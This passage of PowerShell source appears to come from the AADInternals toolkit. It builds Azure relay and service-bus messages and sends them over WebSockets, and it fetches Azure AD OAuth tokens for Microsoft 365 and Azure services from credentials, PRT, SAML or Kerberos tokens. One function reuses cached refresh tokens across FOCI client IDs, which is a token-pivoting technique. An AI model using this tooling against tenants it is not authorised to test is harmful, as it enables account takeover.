[String]$Id ) Process { # Construct the message $message = @(0x56, 0x02, 0x0B, 0x01, 0x73, 0x04, 0x0B, 0x01, 0x61, 0x06, 0x56, 0x08, 0x44, 0x0A, 0x1E, 0x00, 0x82, 0x99, 0x0D, 0x52, 0x65, 0x6C, 0x61, 0x79, 0x65, 0x64, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x44, 0x0C, 0x1E, 0x00, 0x82, 0x99, 0x46, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x73, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x32, 0x30, 0x30, 0x35, 0x2F, 0x31, 0x32, 0x2F, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x4D, 0x6F, 0x64, 0x65, 0x6C, 0x2F, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6E, 0x67, 0x2F, 0x41, 0x6E, 0x6F, 0x6E, 0x79, 0x6D, 0x6F, 0x75, 0x73, 0x01, 0x56, 0x0E, 0x40, 0x0D, 0x52, 0x65, 0x6C, 0x61, 0x79, 0x65, 0x64, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x08, 0x43, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x73, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x6E, 0x65, 0x74, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x2F, 0x32, 0x30, 0x30, 0x39, 0x2F, 0x30, 0x35, 0x2F, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x62, 0x75, 0x73, 0x2F, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x09, 0x01, 0x69, 0x29, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x77, 0x33, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x32, 0x30, 0x30, 0x31, 0x2F, 0x58, 0x4D, 0x4C, 0x53, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x2D, 0x69, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x63, 0x65, 0x40, 0x02, 0x49, 0x64, 0x99, 0x24) $message += [text.encoding]::UTF8.getBytes($id) $message += @(0x01, 0x01, 0x01) return [byte[]]$message } } # Returns a Relay Ids Reply message # Mar 17th 2020 function New-RelayNameReply { [cmdletbinding()] Param() Process { # Construct the message $message = @(0x0B) return [byte[]]$message } } # Returns an Relay Name reply message # Mar 17th 2020 function New-RelayIdsReply { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [guid]$SomeId, [Parameter(Mandatory=$True)] [guid]$ConnectionId, [Parameter(Mandatory=$True)] [String]$Relay ) Process { $bRelay = [text.encoding]::UTF8.GetBytes($Relay) # Construct the message $message = @(0x06,($bRelay.length + 89)) $message+=@(0x01, 0x00, 0x56, 0x02, 0x0B, 0x01, 0x73, 0x04, 0x0B, 0x01, 0x61, 0x06, 0x56, 0x08, 0x44, 0x0A, 0x1E, 0x00, 0x82, 0xAB, 0xA0, 0x05, 0x44, 0x12, 0xAD) $message+=$someId.ToByteArray() $message+=@(0x44, 0x0C, 0x1E, 0x00, 0x82, 0xAB, 0x14, 0x01, 0x56, 0x0E, 0x42, 0x9E, 0x05, 0x0A, 0x20, 0x42, 0x1E, 0xAD) $message+=$ConnectionId.ToByteArray() $message+=@(0x42, 0x96, 0x05, 0x42, 0x94, 0x05, 0x44, 0x2A, 0x99) $message+=$bRelay.length $message+=$bRelay $message+=@(0x01, 0x01, 0x01, 0x01, 0x01) return [byte[]]$message } } # Returns an Relay Net Remote message # Mar 17th 2020 function New-RelayNetRemote { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [guid]$ConnectionId ) Process { # Construct the message $message = @(0x06, 0x55, 0x00, 0x56, 0x02, 0x0B, 0x01, 0x73, 0x04, 0x0B, 0x01, 0x72, 0x20, 0x0B, 0x01, 0x61, 0x06, 0x56, 0x08, 0x55, 0x2E, 0x55, 0x1E, 0xAD) $message += $ConnectionId.ToByteArray() $message += @(0x55, 0x30, 0x06, 0x34, 0x82, 0x06, 0x32, 0x82, 0x01, 0x43, 0x05, 0x6E, 0x65, 0x74, 0x72, 0x6D, 0x36, 0x0B, 0x05, 0x6E, 0x65, 0x74, 0x72, 0x6D, 0x38, 0x89, 0x08, 0x01, 0x44, 0x0A, 0x1E, 0x00, 0x82, 0xAB, 0x3A, 0x44, 0x0C, 0x1E, 0x00, 0x82, 0xAB, 0x14, 0x01, 0x56, 0x0E, 0x01, 0x01) return [byte[]]$message } } # Returns an Relay Proxy Connect Reply message # Mar 17th 2020 function New-RelayProxyConnectReply { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [guid]$SequenceId, [Parameter(Mandatory=$True)] [guid]$SomeId2, [Parameter(Mandatory=$False)] [guid]$ConnectionId = (New-Guid) ) Process { # Construct the message [byte[]]$message = @(0x06, 0xCC, 0x03, 0xA6, 0x02, 0x45, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x65, 0x6D, 0x70, 0x75, 0x72, 0x69, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x49, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x53, 0x69, 0x67, 0x6E, 0x61, 0x6C, 0x69, 0x6E, 0x67, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x2F, 0x53, 0x69, 0x67, 0x6E, 0x61, 0x6C, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x17, 0x53, 0x69, 0x67, 0x6E, 0x61, 0x6C, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x13, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x65, 0x6D, 0x70, 0x75, 0x72, 0x69, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x15, 0x53, 0x69, 0x67, 0x6E, 0x61, 0x6C, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x52, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x5C, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x73, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x63, 0x6F, 0x6E, 0x74, 0x72, 0x61, 0x63, 0x74, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x32, 0x30, 0x30, 0x34, 0x2F, 0x30, 0x37, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x41, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x50, 0x72, 0x6F, 0x78, 0x79, 0x2E, 0x43, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x2E, 0x53, 0x69, 0x67, 0x6E, 0x61, 0x6C, 0x69, 0x6E, 0x67, 0x44, 0x61, 0x74, 0x61, 0x4D, 0x6F, 0x64, 0x65, 0x6C, 0x29, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x77, 0x33, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x32, 0x30, 0x30, 0x31, 0x2F, 0x58, 0x4D, 0x4C, 0x53, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x2D, 0x69, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x63, 0x65, 0x0A, 0x41, 0x63, 0x6B, 0x4C, 0x61, 0x74, 0x65, 0x6E, 0x63, 0x79, 0x0B, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x49, 0x64, 0x56, 0x02, 0x0B, 0x01, 0x73, 0x04, 0x0B, 0x01, 0x72, 0x20, 0x0B, 0x01, 0x61, 0x06, 0x56, 0x08, 0x55, 0x90, 0x05, 0x55, 0x1E, 0xAD) $message += $SequenceId.ToByteArray() $message += @(0x01, 0x55, 0x3E, 0x1E, 0x00, 0x82, 0x55, 0x1E, 0xAD) $message += $SequenceId.ToByteArray() $message += @(0x55, 0x40, 0x83, 0x01, 0x44, 0x0A, 0x1E, 0x00, 0x82, 0xAB, 0x01, 0x44, 0x12, 0xAD) $message += $SomeId2.ToByteArray() $message += @(0x44, 0x0C, 0x1E, 0x00, 0x82, 0xAB, 0x14, 0x01, 0x56, 0x0E, 0x42, 0x03, 0x0A, 0x05, 0x42, 0x07, 0x0B, 0x01, 0x62, 0x09, 0x0B, 0x01, 0x69, 0x0B, 0x45, 0x0D, 0x81, 0x45, 0x0F, 0x99, 0x24) $message += [text.encoding]::UTF8.GetBytes($ConnectionId.ToString()) $message += @(0x01, 0x01, 0x01, 0x01) return [byte[]]$message } } # Writes the given bytes to the given socket function SendToSocket { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [System.Net.WebSockets.ClientWebSocket]$Socket, [Parameter(Mandatory=$True)] [System.Threading.CancellationToken]$Token, [Parameter(Mandatory=$True)] [byte[]]$Bytes ) Process { try { $message = Parse-BusMessage -Bytes $Bytes Write-Verbose "OUT:$message" } catch{} $connection = $Socket.SendAsync($Bytes,1,$true,$Token) while(!$connection.IsCompleted) { Start-Sleep -Milliseconds 100 } } } # Reads an AMQP message from socket function ReadFromSocket { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [System.Net.WebSockets.ClientWebSocket]$Socket, [Parameter(Mandatory=$True)] [System.Threading.CancellationToken]$Token, [Parameter(Mandatory=$False)] [int]$ArraySize=1024 ) Process { $buffer = New-Object Byte[] $ArraySize $connection = $Socket.ReceiveAsync($buffer, $Token) while(!$connection.IsCompleted) { Start-Sleep -Milliseconds 100 } return $buffer[0..$($connection.Result.Count-1)] } }
AccessToken.ps1
AADInternals-0.9.4
# This contains functions for getting Azure AD access tokens # Tries to get access token from cache unless provided as parameter # Refactored Jun 8th 2020 function Get-AccessTokenFromCache { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$ClientID, [Parameter(Mandatory=$True)] [String]$Resource, [switch]$IncludeRefreshToken, [boolean]$Force=$false ) Process { # Strip the trailing slash $tResource = $Resource.TrimEnd("/") # Check if we got the AccessToken as parameter if([string]::IsNullOrEmpty($AccessToken)) { # Check if cache entry is empty if([string]::IsNullOrEmpty($Script:tokens["$ClientId-$tResource"])) { # If token not found, try to find other tokens with the same resource Write-Verbose "Access token for $ClientId-$tResource not found. Trying to find other clients for the resource" foreach($key in $Script:tokens.Keys) { if($key.EndsWith($tResource)) { Write-Verbose "Found token for ClientId $($key.Substring(0,36))" $retVal=$Script:tokens[$key] break } } # If FOCI client, try to find refresh token for other FOCI client if([string]::IsNullOrEmpty($retVal) -and (IsFOCI -ClientId $ClientID)) { Write-Verbose "Access token for $ClientId-$tResource not found. Trying to find refresh token for other FOCI clients" # Loop through cached refresh tokens foreach($key in $Script:refresh_tokens.Keys) { # Extract the client id [guid]$rtClientId = $key.Substring(0,36) if(IsFOCI -ClientId $rtClientId) { Write-Verbose "Using refresh token for ClientId $rtClientId" # If FOCI client, get access token with it's refresh_token $tenantId = (Read-Accesstoken -AccessToken $Script:tokens[$key]).tid $refresh_token = $Script:refresh_tokens[$key] $retVal = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientID -RefreshToken $refresh_token -TenantId $tenantId -SaveToCache $True break } } } if([string]::IsNullOrEmpty($retVal)) { # Empty, so throw the exception Throw "No saved tokens found. Please call Get-AADIntAccessTokenFor<service> -SaveToCache" } } else { $retVal=$Script:tokens["$ClientId-$tResource"] } } else { # Check that the audience of the access token is correct $tAudience=(Read-Accesstoken -AccessToken $AccessToken).aud.TrimEnd("/") # The audience might be the GUID if((($tAudience -ne $tResource) -and ($Script:RESIDs[$tAudience] -ne $tResource)) -and ($Force -eq $False)) { # Wrong audience Write-Verbose "ACCESS TOKEN HAS WRONG AUDIENCE: $tAudience. Exptected: $tResource." Throw "The audience of the access token ($tAudience) is wrong. Should be $tResource!" } else { # Just return the passed access token $retVal=$AccessToken } } # Check the expiration if(Is-AccessTokenExpired($retVal)) { # Use the same client id as the expired token $ClientID = (Read-Accesstoken -AccessToken $retVal).appid Write-Verbose "ACCESS TOKEN HAS EXPRIRED. Trying to get a new one with RefreshToken." $retVal = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientID -RefreshToken (Get-RefreshTokenFromCache -AccessToken $retVal) -TenantId (Read-Accesstoken -AccessToken $retVal).tid -SaveToCache $true -IncludeRefreshToken $IncludeRefreshToken } # Return return $retVal } } # Returns refresh token from cache # Apr 25th 2023 function Get-RefreshTokenFromCache { [cmdletbinding()] Param( [Parameter(ParameterSetName='AccessToken',Mandatory=$False)] [String]$AccessToken, [Parameter(ParameterSetName='ClientAndResource', Mandatory=$True)] [String]$ClientID, [Parameter(ParameterSetName='ClientAndResource', Mandatory=$True)] [String]$Resource ) Process { # Get clientid and resource from access token if provided if($AccessToken) { $parsedToken = Read-AccessToken -AccessToken $AccessToken $ClientID = $parsedToken.appid $Resource = $parsedToken.aud } # Strip the trailing slash $Resource = $Resource.TrimEnd("/") return $Script:refresh_tokens["$ClientId-$Resource"] } } # Gets the access token for AAD Graph API function Get-AccessTokenForAADGraph { <# .SYNOPSIS Gets OAuth Access Token for AAD Graph .DESCRIPTION Gets OAuth Access Token for AAD Graph, which is used for example in Provisioning API. If credentials are not given, prompts for credentials (supports MFA). .Parameter Credentials Credentials of the user. If not given, credentials are prompted. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos ticket .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Parameter Resource Resource, defaults to "https://graph.windows.net" .Example Get-AADIntAccessTokenForAADGraph .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForAADGraph -Credentials $cred #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [Parameter(Mandatory=$False)] [String]$Tenant, [switch]$SaveToCache, [ValidateSet("https://graph.windows.net", "urn:ms-drs:enterpriseregistration.windows.net","urn:ms-drs:enterpriseregistration.microsoftonline.us")] [String]$Resource="https://graph.windows.net", [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -Credentials $Credentials -Resource $Resource -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894" -SAMLToken $SAMLToken -Tenant $Tenant -KerberosTicket $KerberosTicket -Domain $Domain -SaveToCache $SaveToCache -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets the access token for MS Graph API function Get-AccessTokenForMSGraph { <# .SYNOPSIS Gets OAuth Access Token for Microsoft Graph .DESCRIPTION Gets OAuth Access Token for Microsoft Graph, which is used in Graph API. If credentials are not given, prompts for credentials (supports MFA). .Parameter Credentials Credentials of the user. If not given, credentials are prompted. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Example Get-AADIntAccessTokenForMSGraph .Example $cred=Get-Credential Get-AADIntAccessTokenForMSGraph -Credentials $cred #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [Parameter(Mandatory=$False)] [String]$Tenant, [switch]$SaveToCache, [switch]$SaveToMgCache, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -Credentials $Credentials -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894" -SAMLToken $SAMLToken -KerberosTicket $KerberosTicket -Domain $Domain -SaveToCache $SaveToCache -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -Tenant $Tenant -OTPSecretKey $OTPSecretKey -TAP $TAP -SaveToMgCache $SaveToMgCache } } # Gets the access token for enabling or disabling PTA function Get-AccessTokenForPTA { <# .SYNOPSIS Gets OAuth Access Token for PTA .DESCRIPTION Gets OAuth Access Token for PTA, which is used for example to enable or disable PTA. .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Example Get-AADIntAccessTokenForPTA .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForPTA -Credentials $cred #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -Credentials $Credentials -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8" -SAMLToken $SAMLToken -KerberosTicket $KerberosTicket -Domain $Domain -SaveToCache $SaveToCache -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets the access token for Office Apps function Get-AccessTokenForOfficeApps { <# .SYNOPSIS Gets OAuth Access Token for Office Apps .DESCRIPTION Gets OAuth Access Token for Office Apps. .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Example Get-AADIntAccessTokenForOfficeApps .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForOfficeApps -Credentials $cred #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -Credentials $Credentials -Resource "https://officeapps.live.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894" -SAMLToken $SAMLToken -KerberosTicket $KerberosTicket -Domain $Domain -SaveToCache $SaveToCache -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets the access token for Exchange Online function Get-AccessTokenForEXO { <# .SYNOPSIS Gets OAuth Access Token for Exchange Online .DESCRIPTION Gets OAuth Access Token for Exchange Online .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Example Get-AADIntAccessTokenForEXO .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForEXO -Credentials $cred #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [ValidateSet("https://graph.microsoft.com","https://outlook.office365.com","https://outlook.office.com","https://substrate.office.com")] [String]$Resource="https://outlook.office365.com", [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { # Office app has the required rights to Exchange Online Get-AccessToken -Credentials $Credentials -Resource $Resource -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -SAMLToken $SAMLToken -KerberosTicket $KerberosTicket -Domain $Domain -SaveToCache $SaveToCache -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets the access token for Exchange Online remote PowerShell function Get-AccessTokenForEXOPS { <# .SYNOPSIS Gets OAuth Access Token for Exchange Online remote PowerShell .DESCRIPTION Gets OAuth Access Token for Exchange Online remote PowerShell .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Parameter Certificate x509 device certificate. .Example Get-AADIntAccessTokenForEXOPS .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForEXOPS -Credentials $cred #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(Mandatory=$False)] [string]$PfxFileName, [Parameter(Mandatory=$False)] [string]$PfxPassword, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { # Office app has the required rights to Exchange Online Get-AccessToken -Credentials $Credentials -Resource "https://outlook.office365.com" -ClientId "a0c73c16-a7e3-4564-9a95-2bdf47383716" -SAMLToken $SAMLToken -KerberosTicket $KerberosTicket -SaveToCache $SaveToCache -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -Domain $Domain -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets the access token for SARA # Jul 8th 2019 function Get-AccessTokenForSARA { <# .SYNOPSIS Gets OAuth Access Token for SARA .DESCRIPTION Gets OAuth Access Token for Microsoft Support and Recovery Assistant (SARA) .Parameter KerberosTicket Kerberos token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token. .Example Get-AADIntAccessTokenForSARA .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForSARA -Credentials $cred #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { # Office app has the required rights to Exchange Online Get-AccessToken -Resource "https://api.diagnostics.office.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -KerberosTicket $KerberosTicket -Domain $Domain -Credentials $Credentials -SaveToCache $SaveToCache -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets an access token for OneDrive # Nov 26th 2019 function Get-AccessTokenForOneDrive { <# .SYNOPSIS Gets OAuth Access Token for OneDrive .DESCRIPTION Gets OAuth Access Token for OneDrive Sync client .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Example Get-AADIntAccessTokenForOneDrive .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForOneDrive -Tenant "company" -Credentials $cred #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Tenant, [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -Resource "https://$Tenant-my.sharepoint.com/" -ClientId "ab9b8c07-8f02-4f72-87fa-80105867a763" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -SaveToCache $SaveToCache -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets an access token for Azure Core Management # May 29th 2020 function Get-AccessTokenForAzureCoreManagement { <# .SYNOPSIS Gets OAuth Access Token for Azure Core Management .DESCRIPTION Gets OAuth Access Token for Azure Core Management .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Example Get-AADIntAccessTokenForOneOfficeApps .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -Credentials $cred #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -SaveToCache $SaveToCache -Tenant $Tenant -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets an access token for SPO # Jun 10th 2020 function Get-AccessTokenForSPO { <# .SYNOPSIS Gets OAuth Access Token for SharePoint Online .DESCRIPTION Gets OAuth Access Token for SharePoint Online Management Shell, which can be used with any SPO requests. 